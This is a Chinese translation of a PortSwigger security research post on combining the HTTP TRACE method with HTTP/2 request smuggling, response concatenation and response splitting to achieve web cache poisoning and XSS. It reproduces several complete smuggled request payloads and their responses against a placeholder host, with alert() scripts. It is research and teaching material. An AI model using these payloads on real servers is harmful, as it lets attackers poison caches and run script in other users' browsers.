利用TRACE方法轻松实现HTTP异步攻击:从请求走私到缓存投毒

本文详细介绍了如何利用被遗忘的HTTP TRACE方法,结合HTTP/2异步漏洞和响应走私技术,实现Web缓存投毒和客户端攻击。通过实际案例展示了TRACE请求在请求走私攻击中的关键作用,以及如何绕过防火墙限制,最终完全控制Web应用。

利用TRACE方法轻松实现HTTP异步攻击 | PortSwigger研究

Martin Doyhenard
研究员
@tincho_508

发布时间: 2024年3月19日 14:00 UTC
更新时间: 2024年6月19日 13:58 UTC

你是否曾遇到过因复杂约束而看似无法利用的HTTP异步漏洞?本文将探讨一种新的利用技术,通过TRACE——一种古老的HTTP方法,其支持范围可能比你想象的更广泛——来完全攻陷Web应用。

最近,我在一个漏洞赏金项目中发现了HTTP/2异步漏洞(又称HTTP请求走私),该漏洞存在HTTP/2头部注入问题。具体来说,可以在头部值中注入换行符,从而走私传输编码头部,最终在后端分割请求。

确认漏洞并提交给项目后,我收到了以下消息:
“感谢您的提交。能够走私请求本身并不是漏洞。您如何利用该走私请求?”

尽管在2024年声称走私请求本身不是漏洞似乎有些大胆,但我有信心能够制作一个良好的概念验证(PoC)来证明其影响。

但在研究应用几小时后,我开始担心,因为没有端点可用于创建有效载荷。没有其他漏洞可与请求走私结合利用,也没有可用于响应走私的反射参数,更糟糕的是,前端和后端之间的连接似乎是隔离的,因此我无法直接攻击其他用户。虽然我能够使用HEAD走私请求来分割响应队列中的消息,但除此之外,该主机似乎无法被利用。

TRACE方法

那时我注意到一些有趣的事情:后端服务器配置为响应TRACE请求。

对于不熟悉此方法的人,HTTP RFC规定:
“TRACE方法请求远程应用级回环请求消息。最终接收者应反射接收到的消息…”

这意味着如果我们发送如下请求:

1
2
3
TRACE / HTTP/1.1  
Host: vulnerable.com  
SomeHeader: <script>alert(“reflected”)</script>  

我们将获得一个响应,其中包含相同的请求体,且内容类型为“message/http”:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK  
Content-Type: message/http  
Content-Length: 125  

TRACE / HTTP/1.1  
Host: vulnerable.com  
SomeHeader: <script>alert(“reflected”)</script>  
X-Forwarded-For: xxx.xxx.xxx.xxx  

尽管你可能认为TRACE方法在现代系统中并不常用,但一些最流行的Web服务器默认启用此功能,需要显式禁用。如Apache、许多Microsoft IIS和Tomcat版本,如果没有自定义配置,将响应TRACE请求。

TRACE请求在分析走私漏洞时非常有用,因为响应将准确显示后端接收到的内容。能够查看转发的请求可以提供有关代理修改或添加的头部(如X-Forwarded-For头部)甚至协议修改(如从HTTP/2降级到HTTP/1.1,这是许多异步漏洞的根源)的信息。

但更有趣的是,我们可以使用TRACE响应构建有效载荷,通过结合响应走私和Web缓存投毒来完全攻陷应用。让我们看看如何实现:

响应走私回顾

对于不熟悉响应连接的人,基本思想是走私一个HEAD请求,该请求将产生一个仅包含头部的响应。根据HTTP RFC,此响应可以包含一个内容长度头部,其值必须与GET响应的值相同。当代理将响应与HEAD请求匹配时,应忽略此头部。

然而,由于HEAD消息是走私的,代理从未注意到这一点,内容长度将不会被忽略,导致与下一个可用响应连接。

例如,考虑以下用于利用易受CL.0异步攻击的服务器的请求:

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1  
Host: vulnerable.com  
Content-Length: 108  

HEAD / HTTP/1.1  
Host: vulnerable.com  

GET /reflect?value=myReflectedString HTTP/1.1  
Host: vulnerable.com  

第一个响应将照常转发给攻击者。但由于代理从未看到HEAD请求,它将像通常那样解析下一个响应的内容长度,使用下一个响应作为主体的一部分:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 82  

HTTP/1.1 200 OK  
Content-Type: text/plain  
Content-Length: 17  

myReflectedString  

使用此技术,攻击者可以连接响应,使用头部作为主体,并通过更改有效载荷的内容类型(如上一个示例)来修改消息的行为。

利用TRACE进行异步攻击

回到HTTP/2异步漏洞,我没有端点在响应的头部或主体中反射任何有用的内容。但TRACE请求呢?

由于TRACE响应将反射后端接收到的任何头部,我们可以使用它生成恶意脚本并将其放置在HEAD响应的主体中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET / HTTP/1.1  
Host: vulnerable.com  
Content-Length: 150  

HEAD / HTTP/1.1  
Host: vulnerable.com  

TRACE / HTTP/1.1  
Host: vulnerable.com  
SomeHeader: <script>alert(“reflected”)</script>  
Other: aaaaaa…  

产生以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 165  

HTTP/1.1 200 OK  
Content-Type: message/http  
Content-Length: 110  

TRACE / HTTP/1.1  
Host: vulnerable.com  
SomeHeader: <script>alert(“reflected”)</script>  
Other: aaaaaa….  

响应将被转发到通过同一连接到达的下一个请求,从而通过恶意JavaScript控制浏览器!

这种技术虽然强大,但要求服务器响应TRACE请求,这在大多数生产环境中可能不太可能。由于此方法仅应用于调试目的,代理通常使用某些防火墙规则阻止这些请求,返回禁止响应。

但由于走私可用于绕过防火墙规则,可以将TRACE消息隐藏起来,直接传递到后端。因此,即使该方法被禁止,通过异步进行利用仍然是可能的。

到目前为止,我能够异步连接以在响应中反射任意有效载荷。然而,由于后端连接彼此隔离,恶意响应仅由发出它的用户接收。

即使用户之间不共享连接,也有两种技术可用于利用此条件:Web缓存投毒和客户端异步。在这种情况下,客户端异步不可行(需要HTTP/2注入),但应用在缓存中存储静态响应,这意味着Web缓存投毒是可能的。

使用响应连接,可以选择包含内容长度和缓存控制头部的响应,强制响应存储在缓存中。

尽管我找到了许多潜在的候选端点,但它们都没有值为text/html的内容类型头部。这意味着即使我能够使用这些响应之一存储我的有效载荷,浏览器也不会执行我的恶意JavaScript。

那时,我可以先发送异步攻击,然后通过同一HTTP/2连接请求静态资源(如“/payload.css”),并为该端点存储响应。任何请求“/payload.css”的人都会从缓存中接收恶意有效载荷,并执行JavaScript。

尽管此攻击可能有效,但要影响用户,必须覆盖现有资源的缓存响应,并且根据页面的加载方式和响应的max-age,有效利用受害者浏览器可能相当困难。

从TRACE到响应分割

然而,有一个更好的选择。当我研究响应走私时,我理论化了一种情况,攻击者可以分割响应以创建将存储在缓存中的任意消息。

为此,应用必须允许某些内容反射包括换行符,以便攻击者可以编写响应头部以及有效载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
GET / HTTP/1.1  
Host: vulnerable.com  
Content-Length: 360  

HEAD /smuggled HTTP/1.1  
Host: vulnerable.com  

POST /reflect HTTP/1.1  
Host: vulnerable.com  

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n  
Content-Type: text/html\r\n  
Cache-Control: max-age=1000000\r\n  
Content-Length: 44\r\n  
\r\n  
<script>alert(“arbitrary response”)</script>  

这将创建以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 0  

HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 165  

HTTP/1.1 200 OK  
Content-Type: text/plain  
Content-Length: 243  

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok  
Content-Type: text/html  
Cache-Control: max-age=1000000  
Content-Length: 50  

<script>alert(“arbitrary response”)</script>  

如前所述,最后一条消息将用于完成HEAD响应,但在这种情况下,仅前78字节将被连接。如果剩余字节不对应于有效的HTTP消息,代理将转发500错误消息或仅在前一个响应后关闭连接。

但在这种情况下,代理能够正确解析剩余有效载荷作为有效的HTTP响应。因此,消息将作为下一个可用请求的响应转发。

通过这种方式,攻击者能够生成包括头部和主体的任意响应,该响应将存储在缓存中,用于后续请求中指定的URL。

找到允许我们反射主体中任何字节的端点极为罕见,但如果允许TRACE请求,则攻击完全可行。

请注意,根据配置,TRACE请求不能包含大于0的内容长度头部,因此无法在同一请求中添加JavaScript有效载荷。我们可以使用上述相同技术添加一个额外的响应来生成有效载荷的主体。

像Apache这样的服务器如果存在“TraceEnabled extended”指令,将允许主体,这使得攻击更加简单。

如果不允许主体,可以使用走私的传输编码或额外的响应添加消息长度头部,该响应将附加在TRACE消息的最后一个头部之后:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
GET / HTTP/1.1  
Host: vulnerable.com  
Content-Length: 268  

HEAD /smuggled HTTP/1.1  
Host: vulnerable.com  

TRACE / HTTP/1.1  
Host: vulnerable.com  
A: HTTP/1.1 200 Ok  
Cache-Control: max-age=1000000  

HEAD /smuggled HTTP/1.1  
Host: vulnerable.com  

TRACE / HTTP/1.1  
Host: vulnerable.com  
A: <script>alert(“XSS”)</script>  

这将生成以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 0  

HTTP/1.1 200 Ok  
Content-Type: text/html  
Content-Length: 165  

HTTP/1.1 200 Ok  
Content-Type: message/http  
Content-Length: 150  

TRACE / HTTP/1.1  
Host: vulnerable.com  
Padding: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
A: HTTP/1.1 200 OK  
Cache-Control: max-age=1000000  
B: HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 165  

HTTP/1.1 200 Ok  
Content-Type: message/http  
Content-Length: 79  

TRACE / HTTP/1.1  
Host: vulnerable.com  
A: <script>alert(“Arbitrary XSS”)</script>  

如果TRACE实现使得无法在响应中附加消息长度头部,也可以创建将存储在缓存中的重定向响应。这可以重定向到存储的有效载荷(使用缓存欺骗/投毒技术),或重定向到攻击者的页面以发起其他攻击,如客户端异步或经典钓鱼。

结论

总之,此案例展示了如何使用被遗忘的方法(如TRACE)结合现代技术(如HTTP异步和缓存投毒)导致Web应用中的严重安全问题。尽管TRACE是一种旧方法,但它对于知道如何创造性使用它的攻击者来说非常有效。

这提醒我们永远不应低估旧技术,因为它们可以以新方式使用,为网络安全带来重大挑战。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计